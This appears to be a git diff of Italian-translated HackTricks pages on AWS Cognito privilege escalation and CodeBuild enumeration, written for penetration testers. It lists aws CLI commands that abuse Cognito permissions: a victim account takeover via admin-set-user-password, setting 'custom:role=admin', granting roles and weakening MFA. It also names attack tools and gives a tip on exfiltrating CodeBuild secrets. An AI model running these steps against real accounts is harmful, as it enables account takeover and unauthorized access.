Per maggiori informazioni [**consulta questa pagina**](../../aws-unauthenticated-enum-access/index.html#cognito).
**Impatto potenziale:** Privesc diretto al ruolo di servizio assegnato agli unauth users (e probabilmente anche a quello assegnato agli auth users).
**Impatto potenziale:** privesc diretto al services role associato agli unauth users (e probabilmente anche a quello associato agli auth users).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
Con questo permesso puoi **grant any cognito role** agli utenti authenticated/unauthenticated dell'app Cognito.
Con questa permission puoi concedere qualsiasi cognito role agli authenticated/unauthenticated users dell'app cognito.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
Se l'app cognito **non ha abilitato gli utenti non autenticati** potresti aver bisogno anche del permesso `cognito-identity:UpdateIdentityPool` per abilitarli.
Se l'app cognito **non ha gli utenti non autenticati abilitati** potresti aver bisogno anche del permesso `cognito-identity:UpdateIdentityPool` per abilitarli.
**Impatto potenziale:** Privesc diretto su qualsiasi cognito role.
**Impatto potenziale:** privesc diretto su qualsiasi ruolo cognito.
### `cognito-identity:update-identity-pool`
Un attacker con questo permesso potrebbe, per esempio, impostare un Cognito User Pool sotto il suo controllo o qualsiasi altro identity provider dove può effettuare il **login** come **modo per accedere a questo Cognito Identity Pool**. Successivamente, semplicemente effettuando il **login** su quel provider di utenti, potrà **accedere al ruolo authenticated configurato nell'Identity Pool**.
Un attacker con questo permesso potrebbe impostare, per esempio, un Cognito User Pool sotto il suo controllo o qualsiasi altro identity provider in cui può effettuare il login come **modo per accedere a questo Cognito Identity Pool**. Poi, semplicemente effettuando il **login** su quel provider di utenti, si **permetterà all'attacker di accedere al ruolo autenticato configurato nell'Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
È anche possibile **abusare di questo permesso per consentire basic auth**:
È anche possibile **abusare di questa autorizzazione per consentire basic auth**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Impatto potenziale**: Compromettere il ruolo IAM autenticato configurato all'interno dell'identity pool.
**Impatto potenziale**: Compromettere la IAM role autenticata configurata all'interno dell'identity pool.
### `cognito-idp:AdminAddUserToGroup`
Questa autorizzazione consente di **add a Cognito user to a Cognito group**, quindi un attaccante potrebbe abusare di questa autorizzazione per aggiungere un Cognito user sotto il suo controllo ad altri Cognito group con privilegi **migliori** o **ruoli IAM differenti**:
Questa autorizzazione permette di **add a Cognito user to a Cognito group**, quindi un attacker potrebbe abusare di questa autorizzazione per aggiungere un user sotto il suo controllo ad altri gruppi con privilegi **migliori** o **diversi IAM roles**:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**Impatto potenziale:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups.
**Impatto potenziale:** Privesc su altri Cognito groups e IAM roles associati ai User Pool Groups.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
Un attacker con questi permessi potrebbe **creare/aggiornare gruppi** con **ogni IAM role che può essere usato da un Cognito Identity Provider compromesso** e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:
Un attaccante con questi permessi potrebbe **create/update groups** con **every IAM role that can be used by a compromised Cognito Identity Provider** e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**Potential Impact:** Privesc verso altri ruoli IAM di Cognito.
**Impatto potenziale:** Privesc to other Cognito IAM roles.
### `cognito-idp:AdminConfirmSignUp`
Questa autorizzazione permette di **verificare una registrazione**. Per impostazione predefinita chiunque può registrarsi nelle applicazioni Cognito; se ciò è permesso, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questa autorizzazione.
Questo permesso consente di **verificare una registrazione**. Per impostazione predefinita chiunque può registrarsi nelle applicazioni Cognito; se ciò rimane così, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questo permesso.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Impatto potenziale:** Indirect privesc al ruolo IAM dell'identity pool per gli utenti autenticati se puoi registrare un nuovo utente. Indirect privesc ad altre funzionalità dell'app, permettendo di confermare qualsiasi account.
**Potenziale impatto:** Privesc indiretto all'identity pool IAM role per gli utenti autenticati se riesci a registrare un nuovo utente. Privesc indiretto su altre funzionalità dell'app potendo confermare qualsiasi account.
### `cognito-idp:AdminCreateUser`
Questa autorizzazione permetterebbe a un attaccante di creare un nuovo utente all'interno del user pool. Il nuovo utente viene creato come enabled, ma dovrà cambiare la password.
Questa autorizzazione permetterebbe a un attacker di creare un nuovo utente all'interno del user pool. Il nuovo utente viene creato come abilitato, ma dovrà cambiare la password.
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
[--validation-data <value>]
[--temporary-password <value>]
```
**Potenziale impatto:** Privesc diretto al role IAM dell'identity pool per utenti autenticati. Privesc indiretto su altre funzionalità dell'app che permettono di creare qualsiasi utente
**Impatto potenziale:** privesc diretto al identity pool IAM role per utenti autenticati. privesc indiretto ad altre funzionalità dell'app in grado di creare qualsiasi utente
### `cognito-idp:AdminEnableUser`
Questa permission può essere utile in uno scenario molto raro in cui un attacker ha trovato le credenziali di un utente disabilitato e ha bisogno di **riattivarlo**.
Questo permesso può essere utile in una situazione molto rara in cui un attacker ha trovato le credenziali di un utente disabilitato e ha bisogno di **riattivarlo**.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Impatto potenziale:** privesc indiretto alla identity pool IAM role per utenti autenticati e ai permessi dell'utente se l'attaccante avesse le credenziali di un utente disabilitato.
**Impatto potenziale:** privesc indiretto al ruolo IAM dell'identity pool per utenti autenticati e controllo dei permessi dell'utente se l'attaccante disponeva delle credenziali di un utente disabilitato.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
Questa autorizzazione consente di effettuare il login con il [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Per maggiori informazioni segui il link.
Questo permesso consente di effettuare il login con il [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Per maggiori informazioni segui il link.
### `cognito-idp:AdminSetUserPassword`
Questa autorizzazione permetterebbe a un attaccante di **cambiare la password di qualsiasi utente**, consentendogli di impersonare qualsiasi utente (che non abbia MFA abilitata).
Questo permesso permetterebbe a un attaccante di **impostare una password nota per qualsiasi utente**, di solito risultando in una **direct account takeover** (soprattutto se la vittima non ha MFA abilitata, o se l'MFA non è applicata per il flusso di autenticazione/client rilevante).
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
--password <value> \
--permanent
```
**Impatto potenziale:** Privesc diretta su potenzialmente qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato dell'Identity Pool.
Flusso di lavoro comune:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```
Permesso correlato: `cognito-idp:AdminResetUserPassword` può essere utilizzato per forzare un reset per una vittima (l'impatto dipende da come è implementato il recupero della password e cosa l'attaccante può intercettare o controllare).
**Impatto potenziale:** Account takeover di utenti arbitrari; accesso ai privilegi a livello app (groups/roles/claims) e a qualsiasi risorsa downstream che si fida dei token Cognito; potenziale accesso ai ruoli IAM autenticati di Identity Pool.
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
**AdminSetUserSettings**: Un attacker potrebbe potenzialmente abusare di questa autorizzazione per impostare un numero di telefono mobile sotto il suo controllo come **SMS MFA of a user**.
**AdminSetUserSettings**: Un attaccante potrebbe potenzialmente abusare di questo permesso per impostare un numero di telefono mobile sotto il proprio controllo come **SMS MFA di un utente**.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference:** Simile a quello precedente, questa permission può essere usata per impostare le preferenze MFA di un utente per bypassare la protezione MFA.
**SetUserMFAPreference:** Simile al precedente, questa permission può essere usata per impostare le preferenze MFA di un utente e bypassare la protezione MFA.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
--username <value> \
--user-pool-id <value>
```
**SetUserPoolMfaConfig**: Simile al precedente, questo permesso può essere usato per impostare le preferenze MFA di un user pool per bypassare la protezione MFA.
**SetUserPoolMfaConfig**: Analogamente al precedente, questo permesso può essere usato per impostare le preferenze MFA di un user pool per bypassare la protezione MFA.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** È anche possibile aggiornare lo user pool per cambiare la MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**UpdateUserPool:** È anche possibile aggiornare il User Pool per modificare la policy MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**Potential Impact:** Privesc indiretto verso potenzialmente qualsiasi utente di cui l'attaccante conosca le credenziali; questo potrebbe permettere di bypassare la protezione MFA.
**Impatto potenziale:** Indirect privesc verso potenzialmente qualsiasi utente di cui l'attacker conosca le credentials; questo potrebbe permettere di bypassare la protezione MFA.
### `cognito-idp:AdminUpdateUserAttributes`
Un attaccante con questo permesso potrebbe cambiare l'indirizzo email o il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere maggiori privilegi in un'applicazione sottostante.
Questo consente di modificare un'email o un numero di telefono e impostarlo come verificato.
Un attacker con questa permission può cambiare **qualsiasi attributo modificabile** di un User Pool user (inclusi gli attributi `custom:*`) per cercare di ottenere privilegi in un'applicazione sottostante.
Un pattern comune ad alto impatto è **claim-based RBAC** implementato usando **custom attributes** (per esempio `custom:role=admin`). Se l'applicazione si fida di quel claim, aggiornarlo e poi ri-autenticarsi può bypassare l'autorizzazione senza toccare l'app.
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
**Impatto potenziale:** Potenziale privesc indiretto nell'applicazione sottostante che usa Cognito User Pool che assegna privilegi basati sugli attributi utente.
Esempio: upgrade il proprio role e i refresh tokens:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```
**Impatto potenziale:** Indirect privesc in applicazioni che si affidano agli attributi/claims di Cognito per l'autorizzazione; capacità di modificare altri attributi rilevanti per la sicurezza (ad esempio impostare `email_verified` o `phone_number_verified` su `true` può essere rilevante in alcune app).
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
Un attacker con questa permission potrebbe **creare un nuovo User Pool Client meno restrittivo** rispetto ai client già esistenti. Per esempio, il nuovo client potrebbe permettere qualsiasi tipo di metodo per authenticate, non avere alcun secret, avere token revocation disabilitata, permettere che i tokens siano validi per un periodo più lungo...
Un attacker con questo permesso potrebbe **creare un nuovo User Pool Client meno restrittivo** rispetto ai client del pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi metodo di autenticazione, non avere alcun secret, avere la revoca dei token disabilitata, permettere che i token rimangano validi per un periodo più lungo...
La stessa cosa può verificarsi se, invece di creare un nuovo client, se ne **modifica uno esistente**.
La stessa cosa può essere fatta se, invece di creare un nuovo client, **se ne modifica uno esistente**.
Nella [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (o nello [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) puoi vedere tutte le opzioni, controllale!
Nella [**riga di comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (o per [**aggiornare**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) puoi vedere tutte le opzioni, dai un'occhiata!.
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**Impatto potenziale:** Potenziale privesc indiretto per l'utente autorizzato dell'Identity Pool utilizzato dallo User Pool, tramite la creazione di un nuovo client che allenta le misure di sicurezza e permette a un attacker di eseguire il login con un user che è riuscito a creare.
**Potenziale Impatto:** Potenziale privesc indiretto all'Identity Pool authorized user usato dall'User Pool creando un nuovo client che allenta le misure di sicurezza e rende possibile a un attacker effettuare il login con un user che è stato creato.
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
Un attacker potrebbe abusare di questa permission per creare utenti caricando un csv con nuovi utenti.
Un attacker potrebbe abusare di questo permesso per creare user caricando un file csv con nuovi user.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(Nel caso in cui crei un nuovo import job potresti anche aver bisogno del permesso iam passrole; non l'ho ancora testato).
(Nel caso in cui si crei un nuovo import job potrebbe essere necessario anche il permesso iam passrole, non l'ho ancora testato).
**Impatto potenziale:** Privesc diretto al ruolo IAM dell'identity pool per utenti autenticati. Privesc indiretto verso altre funzionalità dell'app che consentono di creare qualsiasi utente.
**Impatto potenziale:** Privesc diretto al ruolo IAM dell'identity pool per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app, consentendo la creazione di qualsiasi utente.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
Un attacker potrebbe creare un nuovo identity provider per poi poter **eseguire il login tramite questo provider**.
Un attacker potrebbe creare un nuovo identity provider per poi poter **login through this provider**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
@@ -230,26 +278,26 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Potential Impact:** Privesc diretto al ruolo IAM della identity pool per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app in grado di creare qualsiasi utente.
**Impatto potenziale:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.
### cognito-sync:\* Analisi
Questo è un permesso molto comune di default nei ruoli di Cognito Identity Pools. Anche se un carattere jolly in un permesso sembra sempre pericoloso (soprattutto se proviene da AWS), le **given permissions aren't super useful from an attackers perspective**.
Questo è un permesso molto comune di default nei ruoli di Cognito Identity Pools. Anche se un wildcard in un permesso sembra sempre pericoloso (soprattutto se proviene da AWS), le **permessi concessi non sono particolarmente utili dal punto di vista di un attacker**.
Questo permesso permette di leggere informazioni d'uso delle Identity Pools e degli Identity IDs all'interno delle Identity Pools (che non sono informazioni sensibili).\
Gli Identity IDs potrebbero avere assegnati loro dei [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), che sono informazioni delle sessioni (AWS li definisce come una **partita salvata**). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) come accedere a queste informazioni.
Questo permesso permette di leggere le informazioni d'uso degli Identity Pools e degli Identity IDs all'interno degli Identity Pools (che non sono informazioni sensibili).\
Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). Potrebbe essere possibile che queste contengano qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) come accedere a queste informazioni.
An attacker potrebbe anche usare questi permessi per **enroll himself to a Cognito stream that publish changes** su questi datases o per una **lambda that triggers on cognito events**. Non ho visto questo essere usato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.
Un attacker potrebbe anche usare questi permessi per **enroll himself to a Cognito stream that publish changes** su questi datasets o per una **lambda that triggers on cognito events**. Non ho mai visto questo essere sfruttato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.
### Strumenti Automatici
### Strumenti automatici
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di exploitation per AWS, include ora i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumeration di tutti gli asset Cognito in un account e segnalano configurazioni deboli, attributi utente usati per il controllo d'accesso, ecc., e inoltre automatizzano la creazione di utenti (incluso il supporto MFA) e la privilege escalation basata su attributi custom modificabili, usable identity pool credentials, assumable roles in id tokens, ecc.
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, ora include i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumerazione di tutti gli asset Cognito in un account e segnalano configurazioni deboli, attributi utente usati per controllo accessi, ecc., e automatizzano anche la user creation (incluso il supporto MFA) e privilege escalation basata su modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, ecc.
Per una descrizione delle funzioni dei moduli vedi la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione vedi la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu).
#### Uso
Esempio di utilizzo di cognito\_\_attack per tentare la creazione di utenti e tutti i privesc vectors contro una data identity pool e user pool client:
Esempio di utilizzo di cognito\_\_attack per tentare la user creation e tutti i privesc vectors against a given identity pool and user pool client:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
@@ -259,7 +307,7 @@ Esempio di utilizzo di cognito\_\_enum per raccogliere tutti i user pools, user
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) è uno strumento CLI in python che implementa diversi attacchi su Cognito, tra cui un privesc escalation.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa un'escalation privesc.
#### Installazione
```bash
@@ -269,6 +317,6 @@ $ pip install cognito-scanner
```bash
$ cognito-scanner --help
```
Per maggiori informazioni consulta [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
Per maggiori informazioni, consulta [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
{{#include ../../../../banners/hacktricks-training.md}}
src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
+17 -14
View File
@@ -4,27 +4,27 @@
## CodeBuild
AWS **CodeBuild** è riconosciuto come un **servizio di integrazione continua completamente gestito**. Lo scopo principale di questo servizio è automatizzare la sequenza di compilazione del codice sorgente, esecuzione dei test e imballaggio del software per scopi di distribuzione. Il principale vantaggio offerto da CodeBuild risiede nella sua capacità di alleviare gli utenti dalla necessità di fornire, gestire e scalare i propri server di build. Questa comodità è dovuta al fatto che il servizio stesso gestisce questi compiti. Le caratteristiche essenziali di AWS CodeBuild comprendono:
AWS **CodeBuild** è riconosciuto come un servizio **fully managed di continuous integration**. Lo scopo principale di questo servizio è automatizzare la sequenza di compilazione del codice sorgente, l'esecuzione dei test e il packaging del software per il deploy. Il vantaggio principale offerto da CodeBuild è la possibilità di eliminare la necessità per gli utenti di provisionare, gestire e scalare i server di build, poiché il servizio stesso si occupa di queste attività. Le funzionalità essenziali di AWS CodeBuild comprendono:
1. **Servizio Gestito**: CodeBuild gestisce e scala i server di build, liberando gli utenti dalla manutenzione dei server.
2. **Integrazione Continua**: Si integra con il flusso di lavoro di sviluppo e distribuzione, automatizzando le fasi di build e test del processo di rilascio del software.
3. **Produzione di Pacchetti**: Dopo le fasi di build e test, prepara i pacchetti software, rendendoli pronti per la distribuzione.
1. **Servizio gestito**: CodeBuild gestisce e scala i server di build, liberando gli utenti dalla manutenzione dei server.
2. **Integrazione continua**: Si integra con il workflow di sviluppo e deployment, automatizzando le fasi di build e test del processo di rilascio del software.
3. **Produzione di pacchetti**: Dopo le fasi di build e test, prepara i pacchetti software, rendendoli pronti per il deployment.
AWS CodeBuild si integra perfettamente con altri servizi AWS, migliorando l'efficienza e l'affidabilità della pipeline CI/CD (Integrazione Continua/Distribuzione Continua).
AWS CodeBuild si integra perfettamente con altri servizi AWS, migliorando l'efficienza e l'affidabilità della pipeline CI/CD (Continuous Integration/Continuous Deployment).
### **Credenziali Github/Gitlab/Bitbucket**
#### **Credenziali di origine predefinite**
#### **Credenziali sorgente predefinite**
Questa è l'opzione legacy in cui è possibile configurare alcuni **accessi** (come un token o un'app Github) che saranno **condivisi tra i progetti codebuild** in modo che tutti i progetti possano utilizzare questo set di credenziali configurato.
Questa è l'opzione legacy dove è possibile configurare alcuni **access** (come un Github token o un'app) che saranno **condivisi tra i progetti CodeBuild** così tutti i progetti possono usare questo set di credenziali configurato.
Le credenziali memorizzate (token, password...) sono **gestite da codebuild** e non esiste alcun modo pubblico per recuperarle dalle API AWS.
Le credenziali memorizzate (token, password...) sono **gestite da CodeBuild** e non esiste un modo pubblico per recuperarle tramite le API AWS.
#### Credenziali di origine personalizzate
#### Credenziali sorgente personalizzate
A seconda della piattaforma del repository (Github, Gitlab e Bitbucket) vengono fornite diverse opzioni. Ma in generale, qualsiasi opzione che richiede di **memorizzare un token o una password lo memorizzerà come un segreto nel gestore di segreti**.
A seconda della piattaforma del repository (Github, Gitlab e Bitbucket) vengono fornite opzioni diverse. Ma in generale, qualsiasi opzione che richieda di **memorizzare un token o una password la salverà come secret in Secrets Manager**.
Questo consente a **diversi progetti codebuild di utilizzare diversi accessi configurati** ai fornitori invece di utilizzare solo quello predefinito configurato.
Questo permette a **diversi progetti CodeBuild di usare accessi configurati differenti** ai provider invece di usare soltanto quello predefinito.
### Enumerazione
```bash
@@ -47,9 +47,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
aws codebuild list-reports
aws codebuild describe-test-cases --report-arn <ARN>
```
> [!TIP]
> Se hai `codebuild:StartBuild`, ricordati che spesso puoi sovrascrivere gli env vars al momento della build (`--environment-variables-override`). Questo è sufficiente per alcuni attacchi anche senza i permessi `UpdateProject` o override di `buildspec` (per esempio: reindirizzare artifact/upload buckets per esfiltrare segreti, o abusare degli env vars di language/runtime per eseguire comandi).
### Privesc
Nella pagina seguente, puoi controllare come **abuse codebuild permissions to escalate privileges**:
Nella pagina seguente puoi vedere come **abuse codebuild permissions to escalate privileges**:
{{#ref}}
../aws-privilege-escalation/aws-codebuild-privesc/README.md
@@ -61,13 +64,13 @@ Nella pagina seguente, puoi controllare come **abuse codebuild permissions to es
../aws-post-exploitation/aws-codebuild-post-exploitation/
{{#endref}}
### Unauthenticated Access
### Accesso non autenticato
{{#ref}}
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
{{#endref}}
## References
## Riferimenti
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)